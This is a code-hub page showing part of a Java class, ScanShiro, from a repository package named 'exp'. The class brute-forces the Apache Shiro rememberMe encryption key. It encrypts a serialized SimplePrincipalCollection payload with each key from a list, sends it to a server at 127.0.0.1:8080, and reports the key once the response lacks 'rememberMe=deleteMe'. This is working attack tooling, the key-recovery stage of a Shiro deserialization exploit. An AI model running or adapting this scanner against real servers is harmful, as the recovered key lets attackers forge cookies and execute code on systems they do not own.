MCPcopy Create free account
hub / github.com/Firebasky/Java / ScanShiro

Class ScanShiro

Shiro/shiro550/src/main/java/com/firebasky/exp/ScanShiro.java:22–130  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

20
21
22public class ScanShiro extends Thread {
23 @Override
24 public void run() {
25 super.run();
26 String url = "http://127.0.0.1:8080";
27 String filename = "key.txt";
28 List lists = null;
29 try {
30 lists = readFile(filename);
31 } catch (IOException e) {
32 e.printStackTrace();
33 }
34 for (Object list : lists) {
35 String payload = null;
36 try {
37 payload = EXP("payload",list.toString());
38 } catch (Exception e) {
39 e.printStackTrace();
40 }
41 String res = httpGet(url,payload);
42 boolean isMatch = Pattern.matches("(.*)rememberMe=deleteMe.*", res);
43 if (isMatch) {
44 System.out.println("key不正确.....");
45 }else {
46 System.out.print("key正确为:");
47 System.out.println("\33[32;4m"+list.toString());
48 System.exit(0);
49 }
50 }
51 }
52
53 /**
54 * 读序列化文件字节码内容
55 * @param path
56 * @return
57 * @throws Exception
58 */
59 public static byte[] getBytes(String path) throws Exception{
60 InputStream inputStream = new FileInputStream(path);
61 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
62 int n = 0;
63 while ((n=inputStream.read())!=-1){
64 byteArrayOutputStream.write(n);
65 }
66 byte[] bytes = byteArrayOutputStream.toByteArray();
67 return bytes;
68 }
69
70 /**
71 * 生成check的反序列化
72 * @throws Exception
73 */
74 public static void checkpayload() throws Exception {
75 SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
76 ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
77 obj.writeObject(simplePrincipalCollection);
78 obj.close();
79 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected